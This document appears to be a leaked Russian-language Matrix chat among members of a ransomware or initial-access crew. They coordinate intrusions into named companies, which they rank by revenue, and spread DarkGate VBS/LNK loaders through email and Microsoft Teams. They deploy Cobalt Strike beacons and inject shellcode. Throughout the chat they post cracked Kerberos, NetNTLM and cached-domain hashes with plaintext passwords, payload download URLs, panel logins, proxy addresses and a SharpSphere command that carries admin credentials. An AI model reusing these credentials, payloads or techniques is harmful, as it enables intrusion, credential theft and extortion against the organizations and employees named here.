понял, позже чекну его

`[EWR-5CG9345X58] Erika.Freitas`

Как у вас идет с LNK с пассом и с анубисом этим?

+

да ее я тоже слал

могу отдельно ее прослать

перезапустил чисто юк прошлю

да я сам хз, его то палит, то не палит

запусков мало что-то

хоть одна сетка пришла?

умер вроде

TOP_kekhash.txt

сразу как пришел, ничего не делали)

еще 1 пришел

принял

стопнул

не особо идет что-то

над выкачивать новых писмем много

понял

а кто они?

кто анубис делает?

на этой кобе днс поднимается или нет ?

> <@usernamegg:matrix.bestflowers247.online> как мы тогда делали массово

мне нужно базу набирать, потому что и так уже сколько раз по ней прослали

> <@usernamegg:matrix.bestflowers247.online> ну мы успели качнуть оттуда большую базу

не вечно же базу будет рабочей, ее тоже нужно пополнять

с форума вот заливал мыло и пасс

все херня

нет там ничего нового

там видимо по круго одно и тоже заливтаь

да, нужно покупать

+

оба бота вне домена

щас попробую, но есть сомнения на этот счет

вот этот в домене уже

09/26 09:09:52 *** initial beacon from amurillo@10.20.48.121 (US-BEL-TKL-AMUR)

> <@usernamegg:matrix.bestflowers247.online> вот у них сейчас забираю в работу еще цели , они как то заходят по внс на тачку и точечно рассылаю с его почтовика письма и приходят от них боты

вбс

да шлем

с нагрузкой W

отходил переекусить

с них наверное доставка в разы лучше, особенно на биги

* с них наверное доставка в разы лучше, особенно на китов

нам тоже нужно попробывать такое

тем более я могу отобрать по ревенью компании и те, на которые сложно доставить письма

> <@usernamegg:matrix.bestflowers247.online> вот у них сейчас забираю в работу еще цели , они как то заходят по внс на тачку и точечно рассылаю с его почтовика письма и приходят от них боты

belzona_hash.txt

TOP_kekhash.txt

> <@usernamevv:matrix.bestflowers247.online> sent a file.

$krb5tgs$23$*THenriksen$TOPCON.com$MSSQLSvc/MIN-LAP0015.TOPCON.com:1177D72D-98DB-4B@TOPCON.COM*$efc00deaf974ddad366...99c79d24e6:Nataniel23

++

https://www.zoominfo.com/c/tetra-tech-inc/115982469

2.5kkk

только пришел вроде в домене

чекни плиз

$krb5tgs$23$*WMarriott$TOPCON.com$MSSQLSvc/MIN-MIN-LT13.TOPCON.com:0EEBB8C2-5B21-49@TOPCON.COM*$683f.....7b01827db370:@Zimbabwe66

не, мы же по другой схеме

++

мы не шлем на почты

я рассказывал помнишь

а как именно шлют? или не расскажут?

у меня схмеа другая, мы не делаем классический спам

`[L20180966] GregV/5604`

$krb5tgs$23$*LRUNDLE$TOPCON.com$MSSQLSvc/LRUNDLE_old.TOPCON.COM:1433*$4a82d7eb8cf2a5326e.....be90ee25fe1be:Caitlin$2023

> <@usernameugway:matrix.bestflowers247.online> https://www.zoominfo.com/c/tetra-tech-inc/115982469

> <@usernamegg:matrix.bestflowers247.online> belzona.co.uk https://www.zoominfo.com/c/belzona-international-ltd/19729827

он не отдал (

и не отвечает

можем попробвоать через нетсаппорт

был у W

я через него передавал ботов

до тебя

тетру удалось сгрузить?

> <@usernamegg:matrix.bestflowers247.online> напомни я запаметовал

`KEITH.MELLOR::TT:1122334455667788:008a6a61deb63c2f3bdae5e3842294b7f6f828ee9eb89af7:008a6a61deb63c2f3bdae5e3842294b7f6f828ee9eb89af7`

смотри в чем тема

когда я шлю этим способом там 100процентный инбокс

это не работает как спам обычный

им приходит сообщение в месенджер

то есть оно 100проц придет

KEITH.MELLOR::TT:008a6a61deb63c2f3bdae5e3842294b7f6f828ee9eb89af7:008a6a61deb63c2f3bdae5e3842294b7f6f828ee9eb89af7:1122334455667788:Kerome1964

тимс

корп месенджер от майкрсоофт

ок, забирай их сразу плз

нужны бабки пиздец на расхондики

я знаю как спам настроить адскую схему

попозже проверю

vbs

скажи только как будет не нужен дед, пойду добивать

```

VBS

мне кажется, что MSI какой то херовый у DarkGate

ааа

приколько

получается он в тимсе шлет

а в нем вроде обычно только внутреняя переписка, т.е. только других сотрудников сетки можно зацепить?

> <@usernamegg:matrix.bestflowers247.online> как нам до него добиратся ?

они может как-то креды от тимса подбирают, ну и шлют там

$krb5tgs$23$*trowe$TOPCON.com$MSSQLSvc/TT-DELL-LT14.TOPCON.com:384D4C41-1CEF-4A@TOPCON.COM*$654496...6f6e2b47:Support008!!

CARMIGNAC_rub.txt

lf

da

щас не знаю, надо смотреть

а что?

бро только не забудь )

+++, отпишешь

если будет палится, я могу вычистить его

по французу, в работе

09/26 10:15:58 *** initial beacon from xhovasse@192.168.1.29 (CGEOB7FBEZ1A1FD)

получилось забрать что-то?

я уже заюзал впски эти, которые были под юсу

сделал из них линки на европу

завтра уже прошлем

да, но они шлют внутри тима

это вообще подругому все

ну я так думаю

огонь

ну тип это как я понимаю, программа для переписки между сотдрудниками одной компании

и вот видимо они в каждую переписку заходят и отправляют файл

> <@usernamegg:matrix.bestflowers247.online> ты пишешь сейчас инжект в шк ?

они же через тимс не могут отправить письмо на какую-либо почту

или могут?

чтобы завтра уже можно было на моего бота запустить с этим инжектом и до конца недели планирую уже решить вопрос с доком полностью

переписываю функцию записи на WinAPI на WriteProcessMemory

DOMAIN/tetratech.com/2.8kkk/USA -- 86.160.27.232

cob1_443_small_x86.bin

presta-lux.carmignac.corp.txt

там ееще один открыт

тоже в домене

увидишь он без подписи и окно reverse shell от него

они что-ль вручную заходят по внс и отправлют письма?)

> <@usernamegg:matrix.bestflowers247.online> и типа инбокс 100%

да епт

и тетра не в домене?

блин у меня способ проверки дурацкий.. надо делать как ты

`PHILIP.HIGGINBOTTOM::TT:1122334455667788:232e3bd5eff2f2c1eafbd72740b1cb8cb25d9c8207a1a76c:232e3bd5eff2f2c1eafbd72740b1cb8cb25d9c8207a1a76c`

я тогда зайду?

кстати 3шт это из сегодняшних - свежие?

PHILIP.HIGGINBOTTOM::TT:232e3bd5eff2f2c1eafbd72740b1cb8cb25d9c8207a1a76c:232e3bd5eff2f2c1eafbd72740b1cb8cb25d9c8207a1a76c:1122334455667788:Taunton5

збс ты их подписал там ?

ok

> <@usernamegg:matrix.bestflowers247.online> я завтра у стомотолога застряну (

как я понял этим ребятам нужно много внс, чтобы они могли слать?

$krb5tgs$23$*igalan$TOPCON.com$HOST/igalan*$c69288f24b7ed97f05130d......6c8d8b50ccf0b0a:Inlandgeo085%

ааа

видимо они заходили в тем через них

* видимо они заходили в тимс через них

https://dropmefiles.com/ot5yP

123123

а давно они так шлют ?

ок

ну как я понял, они мыло и пасс в тимс чекают

прикольно

попробую тоже такое сделать, если получится

быстро думаю не сделаю

разбираться с тимс еще нужно

da

ага ок

USA/CA приоритет бы

`https://ampersand.tv/`

`https://ifcdbvwazrdobhen3a4h32pi4upr7bykraknz43suiun6cj3ouyzaxyd.onion/bot/150.2489995494`

сеть c xhovasse разом отвалилась. если есть возможность, можно еще раз позвать

`[DIEGO-T3OSOEG] manto`

> <@usernamett:matrix.bestflowers247.online> sent a file.

`f6b3971b1cf3160dd28267b8dc2433cd`

http://190.2.142.15/spm_point.php?page=mailchecker

если буду прям огромные файлы, можно мне сбрасывать

тимс конечно врядли я сделаю, там же авторизация прямо в майкрософт идет

а так идея крутая у них через него слать

пусть лучше они и развивают ее

могу зайти?

это, если через тимс можно прослать на корп почту у них, тогда я могу им выдать карп почты на аутулке

я просто сейчас вручную првоерил 5 почт, они есть в тимпе

но вот у меня тимс не корпоративный, и видимо поэтому я не могу им написать ничего

> <@usernamegg:matrix.bestflowers247.online> ну и что , мы же можем креды вставлять и заходить

ок, понял

ну круто

ладно, это точно для меня сейчас сложно автоматизировать, но суть я понял

если придет в голову как сделать, сделаю тоже

вопрос, вот они могут допустим доставить файл в тимсе вот сюда siata.kone@giz.de ?

хотя ладно, пусть шлют лучше они на тимс

если что, скажите, я могу выдать почты, на которые можно прослать

и которые будут крупные

и более менее у них будет тимс

ладно, до завтра

в тг буду

image.png

image.png

image.png

image.png

0. Choose a script выбираем install_cobs

Сама панель находится по адресу http://104.200.72.124/

не путайте с основной панелью bb_group, она чисто белая и через нее кобы устанавливать нельзя никогда

```

```

* -1. Нажимаем кнопку Script manager

ничего не было нормального что ли по сеткам?

`nhuang`

понял

ну да, я на пару часов щас уснул правда))

да я сидел читал просвещаля

* да я сидел читал просвещался

я подумал что нужно свой ботнет делать

не подумал, а думал

`$DCC2$10240#sduffy_adm#4fdf91b4246429601f1ce5123acf5400`

`$DCC2$10240#jhua_adm#ceed4bf9f18be3cb46668d14aa635f8e`

```

image.png

image.png

вот так создавать листенер:

1. в https hosts мы пишем домен

`adminjf:$DCC2$10240#adminjf#6fae86c4c41f6f9e9b9a60a77f6eef47`

ну такого искать нужно где то я хуй знает

я бы с пиздюком поговорил, он как то заикнулся же за малварю))

да ниче я не стал развивать диалог

он же реверсер еще, я у него за реверс больше спрашивал

я бы сделал большой какой то ботнет и как кортез сдавал бы его под процент ну самим бы пользоваться, но этим нужно заниматься всем и риски есть потому что пиздюка я мало знаю но чел он сильный и спокойный как наш гений) вопросов не задает лишних

но найти хуй найти людей кто будет под процент брать, я хуй знает, проще самим юзать наверно

да

на месте

я беру

`$DCC2$10240#polivier_adm#aa095678570fe3b043d71bd5506e2bdc`

ну все равно у кортеза ебать сколько опыта что другие с ним не сравнятся

`$DCC2$10240#veeamsvc#d4b6fa7c4670649bfb4c036f4745504a`

> <@usernamegg:matrix.bestflowers247.online> yy - где ?

сходу большую офигеем ставить точно скажу, вспомнить и скорость набрать это время

неделя нужна

`$krb5tgs$23$*svc_nvision$fevertree.local$DynamicsNAV/FT-AVD-1-0:7065@fevertree.local*$A308AFE00A9855B3F6D8829F625164C4$C115E6F126066976DD5FE54D3B311F61D394EEA134A2F7F3373019F1FDAFD060AC6F0668CEE1509553F96B52A96DC4A292E9CCBB2D6DB7CBB04993242951219A98C2D06BC888995C4232C57633A5C73F61CF0EFE955F4A4DAFFA0FC42E3221531F847B8D8BAF3CA3E6DBF86637E909F05ADFA0E56E7367002CA2C0AB696C759D4E6949BC45F2DA622635730CC53B48BBE3F59D20290E4CFD31747DEB16F541B80C27A625A36BE44EA1EAEF369A2264C4A14D450C9E1A9A12BC92766A7721F6A2062F3D8433C0A3B4934E5E8CDC556860AA433E119D24AC8263627322FB9B3EB04EC545C2C3A59DBD9EFFB9CAC319ABBDE8B0A9E7540CB726B66A0C7D5E7BBC8381D6C1A5DFD7230FDAB6EEFE8DB20D945B12FA4FF87F51C775D7711D8EB85008DEF6C7607107FE5424A721C72D9CD5A1F29EE21C7F63C3AF741324FE5BBAEB77645D1E81A5047066D059C8C7A5B6757AA585094B4EBFB9889F1187EEB1813244567A79429EB4A63EA77BB74B6B0899B8B4F0E1B54B5DEEE8E05163B70B85601BCE658E1A7C23D9636690669C244827A68E9C33C91F33D47215DC189DA48B689FD926E1216E54FF33A9B3253C9F9F24A9AF604167F1F249ABCF0521109E757A1C9A57E74F4D0F17581428F88551921DED1EAD19DF21BE0A78DC2853F3936ABDC23A90C3EF01F5E4F164923BB91E59D041CD504130A70D4B4B22A0DFE5CAA7D47416F1F03418E6B05347D083C264C214895784AA491D3E35A5522AC1B233E2B3BB9B467CD92DAA9DBA0A58C70F2EA263FDF0140041590DB0F2935CB2DEB9104C7F09CB3DCC4C16AAA95A7D2FDF533008A205C9B502217E07C22EA42C36EAD0B7C4B06A5762AB8D0342BAA0139C48CCD2F689AC622768776AFAFBDFF706A970E14B9AF6736DDE41B8467022843D99863CA526A827B4523A5AFD61370996E3863C1E7ED44D4F366918B2C8673A448343415325F3980F5A9D0019657F23B961589E992CDEB42566644FA45F9EF89CD2C02A59FEB9CE4FD495726AE20EE33CBB0564E01F4B4C541FFAA46BC54F0ACB6591F4E9C93061E363E2C5DB5079C5443E9C224CF9B61D226FB0C644B7CB0037FA48A2179E4C002C36790FA3D5AFD76B13A879C294D864AC03C90C78FC191E559F126AD585F72218F606B11F436F7A45695CA730B9D9BDB2A3194EE94690CE525A80AA8742DB0C37F5CD6EC4550A43CA7A3375826A9F8120BA535406C9C923EC50EF046EF0EED9CDD57F39B4AF92A1099C0B36118FF50FCDA0FAF2185C1CC52DF3496B06873C53FFA6A92447700ED2FAB2190B76DD47C8A616B2BD7D6D4CCA2B43DB3434A4190F62911DA00CF9F5B2C019828FC4DD0D3C07C0236A06F860FDAB6AEBA2D49C0F7FABB9429312BBE7DBA3981C943EF1CAC7006384188C122E4323A36E54F2D7ADD557E2AE6D2E9AEB2C5155DEB3335ED853EDF5FAF5C0D37151A66FBA507E4AFE3135D4628F7D14F7AE3ECC9D75E13B2A594D545A5F71705FB8F244087524197A25081476491031A0002E8D1AD2A1200E61DF29393F74E0612A1F3D03BE303DFA12BF7E31EC0462D6A02DCE44CA71C2D5A6ABC00A179BC1C2ABA960AD0BBBFFABB6F3E47B4AECDD4099E24FEDC25E4CDAE28D925D0D971D1F4DDDA45A65A9997132BB0DE099E5595003F679A2990485D11EF8247C455ECA9D611BCB23782C9784150129A2C35FF423736D73D19E82012371E20232505C0CBB96446831FF053CC4FBC3D26E8F9A2DA2CEEE8153B95CF9D499AA3AA3CEF6A93D392127816C723A82CAD0E1FF8ED4624E9A9EEADA8AE58500BB9CE6E4C4575D032ABD49EEE6ADAE3FCD75D92168DC0E4C89B615C39EAFB086300ACAC14676DE280079440503314AD77BD630463B506646E2257F7DC152ABD86DA8A495D5C520ACCBFF06ECCE272D2F080CF4A29684648B223A0A56D93611E0AC4416FDB01F4591923798EB4AE149C891A33E6D5CDFA7FD69FE4850976E579F539F8ED28AC0C2320462A0DCA4686B10`

можем, но у нас даже хост не готов щас под выкачку, ждем

одна есть готовая, с нее стартанем

Да я знаю что все будет заебись

Задней то уже нет по сути

типа смысл

бля вот мне не удобно сидеть так и хуй пойми, не взять нормально сетку в работу ))

но я пока читаю, выписываю что то интересное, нужно лабу поднять будет и заново тестить relay

> <@usernamegg:matrix.bestflowers247.online> может на новую локацию приедешь ?

на старую не приезжать что ли лучше или как?

дак настраивать то нехуй, за 1 день все разворачивается же, это у тебя там сложнее все откуда такргеты брать

> <@usernamegg:matrix.bestflowers247.online> смотри сам, как заебет там сидеть бери билеты и приезжай или падай в свой космический аппарат с базой )

ты бук менять собираешься?

мало ли!

просто под мак выходили какие то RCE

нужно обновить мак

да не то что пришло, а после последних событий

я хуй знает что они там в панельки насобирали за нас

и что там потом с этой инфой они делали

они же видели историю заходов и с каких IP

ноды могут тоже вскрыть или как то их детектить

потом дальше узнать откуда мы заходили с впнов и дальше больше

там же не долбаебы сидят

тем более у тебя там с кошелем какая то хуйня была

я вобще уже начал думать может у тебя битки спец службы спиздили

> <@usernamegg:matrix.bestflowers247.online> что бы качать

короче начал разгоняться))

8 временных прорегал, 4 выдали

а так 15 впсок сеня зарегал включая временные

```

all_kekhash.txt

https://www.bleepingcomputer.com/news/security/hackers-actively-exploiting-openfire-flaw-to-encrypt-servers/

у нас жаба была всегда поднята на Openfire

$DCC2$10240#sethw#0f394f6c0e2e60d275b7198ffc643801:Jg080874

++

да

пиздец нахуй

что то за последние года 2 прям жестко все ебут

маки ебут уже не по хуйне

там и в django какое то rce вроде вышло кстати!

пиздец

да еще бы калик покурить заебись было бы )))

нужно тимку выцепить, что бы снять с ним обновления там уже ебать наверно накапало ебааать как дохуя

`execute-assembly SharpSphere.exe list --url https://192.168.57.41/sdk --username EDVMS.LOCAL\Administrator --password DwiidS15iM`

дак вот не курю 2 день уже

не не

контра закончилась уже)

HOARELEA_kekhash.txt

ОПА

https://github.com/p0dalirius/LDAPWordlistHarvester

file nyzhni dla lock

HAEFFNER-ASP

скоро вместе с кербами будем снимать вордлисты))

segodnya hoteli

COANDA_kekhash.txt

$krb5tgs$23$*SQLAgent$hoarelea.local$MSSQLSvc/TESTNEXUSSQL.hoarelea.local:1433@hoarelea.local*$069f0e..8d5e600127:SQLAgent

SEGUETECH_kekhash.txt

WYG_kekhash.txt

TTEMI_kekhash.txt

$krb5tgs$23$*MSSQL$ttemi.com$MSSQLSvc/TT000-NPDB1.ttemi.com:1433@ttemi.com*$18e76915e9bcc24a281...10575a03ba:D0ntw0rry!

бро можешь этого еще раз позвать xtm-intl.local 46 https://www.zoominfo.com/c/xtm-international-ltd/345944395

если не получится я сгружу W и попробуем от него

мы сегодня разобрались как к нему сгружать

но стучат только 10ки пока что он исрпавляет

чтобы 11 тоже были

билд надо

Братец, завтра не успею релизнуть бота, тут проблема 1 нарисовалась, щас угвей мне тачки перегружает

и вин 11 почему то не запускается

щас вот решаю эту проблему, чтобы стучало все и вся

вся линйека винды с 7 - 11

> <@usernamegg:matrix.bestflowers247.online> ну это не удивительно

PASS: EmEGU1BMTOapODGhN9vMjTYLZfsjRtQo

Вот креды от панели если что, там щас боты от угвея будут

чтобы ты через меня попробовал сгрузить в кобу, там угвей напишет

> <@usernamegg:matrix.bestflowers247.online> 2коба днс

если не получится напиши плиз, я готов сгрузить к W

> <@usernameff:matrix.bestflowers247.online> `$krb5tgs$23$*svc_nvision$fevertree.local$DynamicsNAV/FT-AVD-1-0:7065@fevertree.local*$A308AFE00A9855B3F6D8829F625164C4$C115E6F126066976DD5FE54D3B311F61D394EEA134A2F7F3373019F1FDAFD060AC6F0668CEE1509553F96B52A96DC4A292E9CCBB2D6DB7CBB04993242951219A98C2D06BC888995C4232C57633A5C73F61CF0EFE955F4A4DAFFA0FC42E3221531F847B8D8BAF3CA3E6DBF86637E909F05ADFA0E56E7367002CA2C0AB696C759D4E6949BC45F2DA622635730CC53B48BBE3F59D20290E4CFD31747DEB16F541B80C27A625A36BE44EA1EAEF369A2264C4A14D450C9E1A9A12BC92766A7721F6A2062F3D8433C0A3B4934E5E8CDC556860AA433E119D24AC8263627322FB9B3EB04EC545C2C3A59DBD9EFFB9CAC319ABBDE8B0A9E7540CB726B66A0C7D5E7BBC8381D6C1A5DFD7230FDAB6EEFE8DB20D945B12FA4FF87F51C775D7711D8EB85008DEF6C7607107FE5424A721C72D9CD5A1F29EE21C7F63C3AF741324FE5BBAEB77645D1E81A5047066D059C8C7A5B6757AA585094B4EBFB9889F1187EEB1813244567A79429EB4A63EA77BB74B6B0899B8B4F0E1B54B5DEEE8E05163B70B85601BCE658E1A7C23D9636690669C244827A68E9C33C91F33D47215DC189DA48B689FD926E1216E54FF33A9B3253C9F9F24A9AF604167F1F249ABCF0521109E757A1C9A57E74F4D0F17581428F88551921DED1EAD19DF21BE0A78DC2853F3936ABDC23A90C3EF01F5E4F164923BB91E59D041CD504130A70D4B4B22A0DFE5CAA7D47416F1F03418E6B05347D083C264C214895784AA491D3E35A5522AC1B233E2B3BB9B467CD92DAA9DBA0A58C70F2EA263FDF0140041590DB0F2935CB2DEB9104C7F09CB3DCC4C16AAA95A7D2FDF533008A205C9B502217E07C22EA42C36EAD0B7C4B06A5762AB8D0342BAA0139C48CCD2F689AC622768776AFAFBDFF706A970E14B9AF6736DDE41B8467022843D99863CA526A827B4523A5AFD61370996E3863C1E7ED44D4F366918B2C8673A448343415325F3980F5A9D0019657F23B961589E992CDEB42566644FA45F9EF89CD2C02A59FEB9CE4FD495726AE20EE33CBB0564E01F4B4C541FFAA46BC54F0ACB6591F4E9C93061E363E2C5DB5079C5443E9C224CF9B61D226FB0C644B7CB0037FA48A2179E4C002C36790FA3D5AFD76B13A879C294D864AC03C90C78FC191E559F126AD585F72218F606B11F436F7A45695CA730B9D9BDB2A3194EE94690CE525A80AA8742DB0C37F5CD6EC4550A43CA7A3375826A9F8120BA535406C9C923EC50EF046EF0EED9CDD57F39B4AF92A1099C0B36118FF50FCDA0FAF2185C1CC52DF3496B06873C53FFA6A92447700ED2FAB2190B76DD47C8A616B2BD7D6D4CCA2B43DB3434A4190F62911DA00CF9F5B2C019828FC4DD0D3C07C0236A06F860FDAB6AEBA2D49C0F7FABB9429312BBE7DBA3981C943EF1CAC7006384188C122E4323A36E54F2D7ADD557E2AE6D2E9AEB2C5155DEB3335ED853EDF5FAF5C0D37151A66FBA507E4AFE3135D4628F7D14F7AE3ECC9D75E13B2A594D545A5F71705FB8F244087524197A25081476491031A0002E8D1AD2A1200E61DF29393F74E0612A1F3D03BE303DFA12BF7E31EC0462D6A02DCE44CA71C2D5A6ABC00A179BC1C2ABA960AD0BBBFFABB6F3E47B4AECDD4099E24FEDC25E4CDAE28D925D0D971D1F4DDDA45A65A9997132BB0DE099E5595003F679A2990485D11EF8247C455ECA9D611BCB23782C9784150129A2C35FF423736D73D19E82012371E20232505C0CBB96446831FF053CC4FBC3D26E8F9A2DA2CEEE8153B95CF9D499AA3AA3CEF6A93D392127816C723A82CAD0E1FF8ED4624E9A9EEADA8AE58500BB9CE6E4C4575D032ABD49EEE6ADAE3FCD75D92168DC0E4C89B615C39EAFB086300ACAC14676DE280079440503314AD77BD630463B506646E2257F7DC152ABD86DA8A495D5C520ACCBFF06ECCE272D2F080CF4A29684648B223A0A56D93611E0AC4416FDB01F4591923798EB4AE149C891A33E6D5CDFA7FD69FE4850976E579F539F8ED28AC0C2320462A0DCA4686B10`

> <@usernamejj:matrix.bestflowers247.online> sent a file.

> <@usernamezz:matrix.bestflowers247.online> sent a file.

> <@usernamezz:matrix.bestflowers247.online> sent a file.

в общем у W в панеле тоже есть, доступ он тебе скинул говорит

особенно инетресно так протестить таргеты которые не получилось позвать из дарк гейта

будет лютое комбо)

```

$DCC2$10240#andrew.mezo#1f4a2a78f070511d7705db41f2f3182f:Useme420

🐰

мне всегда хочется уебать этот смайлик

ладно ладно

)

++

> <@usernamezz:matrix.bestflowers247.online> ```

of

ща

https://v1198096.hosted-by-vdsina.ru/

> <@usernamegg:matrix.bestflowers247.online> какой логин пасс ?

https://dropmefiles.com/nAox6

пароль

да, последние 2 не обязательно

> <@usernamegg:matrix.bestflowers247.online> так сделаю если билд килл процесс и килл сервайс он закроет все приложения и зашифрует их? а так же мскуель базы ?

запуск только долгий будет предупреди

++

```

`setg Proxies socks5:194.165.17.9:24507`

хорошо бро, раста мне только ответил, для хвнц не хватало домена..... сейчас докину все, надеюсь завтра отдаст

DOMAIN-WORK-/tetratech.com/2.8kkk/USA

на всякий уточню

в общем будет минута, напиши кого позвал, я помечу в панеле, чтобы не путаться потом

Привет, я тут

```

PASS: MHIGIo56OceoKHuGpc9wpTlxU1zPapo1

Вот новый акк

не ту тиму сделал

blux::XTM-INTL:1122334455667788:d1145a4246646d99bfe749cce9e17792:0101000000000000a5610c3b13f1d9011435ed7e1bdf9b28000000000800300030000000000000000100000000200000e3919d9b8e26fe8c98f80d344211ea5579c890ab39a14a95a2eb644571fdcb800a0010000000000000000000000000000000000009001a00580054004d002d0049004e0054004c005c0062006c00750078000000000000000000

BLUX::XTM-INTL:1122334455667788:d1145a4246646d99bfe749cce9e17792:0101000000000000a5610c3b13f1d9011435ed7e1bdf9b28000000000800300030000000000000000100000000200000e3919d9b8e26fe8c98f80d344211ea5579c890ab39a14a95a2eb644571fdcb800a0010000000000000000000000000000000000009001a00580054004d002d0049004e0054004c005c0062006c00750078000000000000000000:Benalmadena2023

> <@username777:matrix.bestflowers247.online> BLUX::XTM-INTL:1122334455667788:d1145a4246646d99bfe749cce9e17792:0101000000000000a5610c3b13f1d9011435ed7e1bdf9b28000000000800300030000000000000000100000000200000e3919d9b8e26fe8c98f80d344211ea5579c890ab39a14a95a2eb644571fdcb800a0010000000000000000000000000000000000009001a00580054004d002d0049004e0054004c005c0062006c00750078000000000000000000:Benalmadena2023

```

Готов если что сделать VBS вам и выдать нагрузки под спам

* не то сделал

да, они ищут доступы в тимс

hi бро

нам нужна dns коба для закрепов

* ```

нужно впски будет взять

сгружаю все W

Может еще знаете где взять стабильные соксы. А то на proxytraff там ограничение по трафику, и там 1 Гб стоит 0.6$

пиздец сегодня утром не работал дедик

я поседел наверно

пока его чинили

боюсь абузу

FFF DOMAIN cvegroup.com 13kk FR

а трафика нужно много, я тут уже 2к$ за пару дней на трафик только потратил)

новый

будет бред тратить по 20-30к$ на трафик)

```

> <@usernamess:matrix.bestflowers247.online> ```

Новые данные для билдера:

```

надо изменить, потому что в теории они могли все айпишники в мире просканить с прошлой авторизацией

> sms-activate.org 3k+ rub

нужно было принять смс чтоб разлочить почту, сделал акк, может пригодиться, у меня все получилось!

BELZONA отвалилась у нас

бот в оффе

4.9 версии кобы есть еще ?

да

3 всего

yy:

а какие 4.9 еще ?

щас

https://www.bestflowers247.online/grain/vy23QwGSHiMCt4it3W9WsW

```

request access

а вчера были они ?

да

печально

создайте свой грейн

пригласите меня туда

я буду вам кобы туда заполнять

созданы, приглашения тоже дал

```

я вырезал оттуда ваши кобы

в папке OFFICE есть все

https://www.bestflowers247.online/grain/mct67aydmyZJciwuepckr4

отчет по сипанелям : 3700.TXT

COUNT VALID TOTAL = 1161

ща

запросил дотспу

* запросил доступ

не пускает в этот грейн

а в папку OFFICE есть доступ ?:

https://www.bestflowers247.online/grain/z2ZhoCjrGnsz23ttTAy7Te/

да

там этот файл лежит

нет доступа к нему

[v

hm

чекни

есть

привет, нет, я же писал, что задержится

делаю Win11 сейчас поддержку, дебажу, чтобы все нормально работало и под ней

инжект уже прототип есть, его надо тоже отдебажить на WIn11

окей, щас сделаю

LNK не надо делать?

+

или VBS и LNK?

> <@usernamegg:matrix.bestflowers247.online> это не просто потому что

инжект можно сделать пару способами:

> <@usernamegg:matrix.bestflowers247.online> ближе к 18

я делаю оба варианта просто, чтобы если 1 не сработал, второй точно сработал

ок

инжектится шелкод

да, инжектиться шелкод

это же обычные байты, которые можно запихнуть в DLL процесса в entrypoint

или в текщуее выполнение

в тек просто запихнуть и все запуститься сразу

я пока тут ревершу программу тимс, чтобы вытащить то, какие запросы делаются в нем для отправки писем

окей, хорошо

+++

окей

но там конечно вытащить запросы на авторизацию проблематично, защита стоит

но пока допустим вытащил то, что передает почту, и тебе выдает есть ли такой юзер в тимсе или нет

> <@usernamegg:matrix.bestflowers247.online> я буду открывка так как у врача

и там смотрю токены в запросе используются, которые сложно вытащить

ладно, пока разбираюсь

защита у них там конечно стоит от реверсинга

ну в целом я уже посмотрел, что могу выдернуть запросы на вытаскивания диалогов, заливку файла и отправку его

но нужно знать токен, его можно вручную вытаскивать, пока что)

чтобы вытащить эти токены, нужно авторизоваться через мыло и пасс... но именно эти этапы пока не могу вытащить, блочат, защита стоит

но еще попробую

ладно, к рассылке пока подготовлюсь

с другой стороны, там если даже начать проверять мыло и пасс на авторизацию, там тупо выскачит капча от майкрософт, и будет еще гемор...

ладно, пока потихоньку сделаю так, что вручную достаю токен от акка, и уже автоматически вытаскиваются диалоги и отрпавлются файлы

нет

я перенервничал сегодня

NEW DOMAIN 2.5kkk USA - можешь эту чекнуть

там 2 бота из этой сети

Привет

Романа так и не нашли кстати?

нужно будет зайти исходники шопа слить, мало ли сервер проебется или еще что то

---

DOMAIN qualitrolcorp.com 158kk USA

забери плиз

---

> <@usernamegg:matrix.bestflowers247.online> вы сами не поджнимали ?

бля хуево

ок, как будет время

пока покидаю что есть

---

almag.com-DOMAIN-chech (otval ) $88.2M https://www.zoominfo.com/c/almag-aluminum-inc/1983294

---

одписан как отвал, не совсем понял что значт

---

взял 1 крипт exe брейкера у бентли

http://162.19.130.45/Gdt5p3y/{random}

линки на вбс

скинул лапе VBS и уже скину LNK + VBS

* скинул лапе VBS и уже скинул LNK + VBS

мелкор выдал, но палит

деф

Trojan:VBS/DarkGate.DB!MTB

вбс еще палит

ты приедешь?

image.png

image.png

У вас детект на VBS на вашем IP

чистит

та не

я щас вычистил уже почти

но это все равно плохой знак

что IP уже как статика детектится, может уже в базах АВ, и могут коннекты туда не пускать с пк

выдал

проверяю

вроде чисто

скоро сделаю линк на соксы

https://glowriters.com/eummolestias/i.exe

можно пролить

я выдал лапе если тчо уже

все чисто

бро

8.8B / siriusxm.com / USA / https://www.zoominfo.com/c/sirius-xm-radio-inc/109412634

там две тачки

одна из них в домене

гляньте плиз

свежее

тут ?

420M / netlink.com / USA / https://www.zoominfo.com/c/netlink-inc/68060002

в домене

я готов запускаться

аа, ну ок

тогда завтра

да стомотолог это не так страшно)

ок, до завтра тогда, я тут повторно выкачивать поставил, вроде что-то выкачивается, надеюсь норм наберется

+

там еще один прилетел перед твиом входом не успели чекнуть

вот только пришло что то

чекиним

вне домена 2

те что онлайн отбились - все норм?

m.wierzchowiec офф

бляя(

представляю бро..

потом будешь красивый)

2

dj 2q lyc

dnjhjq j;bk

* второй ожил

> <@usernamegg:matrix.bestflowers247.online> отбились ?

* два во второй днс

я звать научился сам

> <@usernamegg:matrix.bestflowers247.online> m.wierzchowiec офф - 4 минуты

da

я звал сегодня от туда

тестил и научился

зери гуд

там одна италия была, но к тому моменту как научился на мелочи она офф

хз сколько по деньгам

а так там нет ничего

SKushwaha офф как будто

> <@usernamegg:matrix.bestflowers247.online> 8.8B / siriusxm.com / USA - все тачки разве воргруп ?

что случилось? у врача что ли?

сек

> <@usernamess:matrix.bestflowers247.online> SKushwaha офф как будто

перезапустил

1.png

http://orders44vz5yl7y6xajzxsdo2n6niaqu73ty4tx6ncwqnc752yzae4ad.onion

я поеду домой?

ну да а как)

без разрешения нельзя

ща

cob 5 proxy

почистить его или просто айпи сменят?

хорошо

так ну я поехал тогда? водитель пропуск закажет

на той кобе сейчас ничего нет, пацанов предупредил

ок

ну решаемо то решаемо но не хуй пойми кого ставить

я не про него, а хуй пойми кого ставить такое себе

Роман то пиздатый чел

просто проебался куда то пиздец, а другие говорю хуй пойми кто

ставить опасно да и опыт там нужен тоже пиздец с бигдатами эластиками ебать

Можешь чекнуть дабл ВПН

83,242,96,116

* 83.242.96.116

ага

зайду гляну?

у СС

кого успел позвать пометил там? ты если что сюда в чат кидай, я сам все отмечу

бро есть шанс что-то получить с тех кого уже смогли забрать?

сегодня были тех неполадки

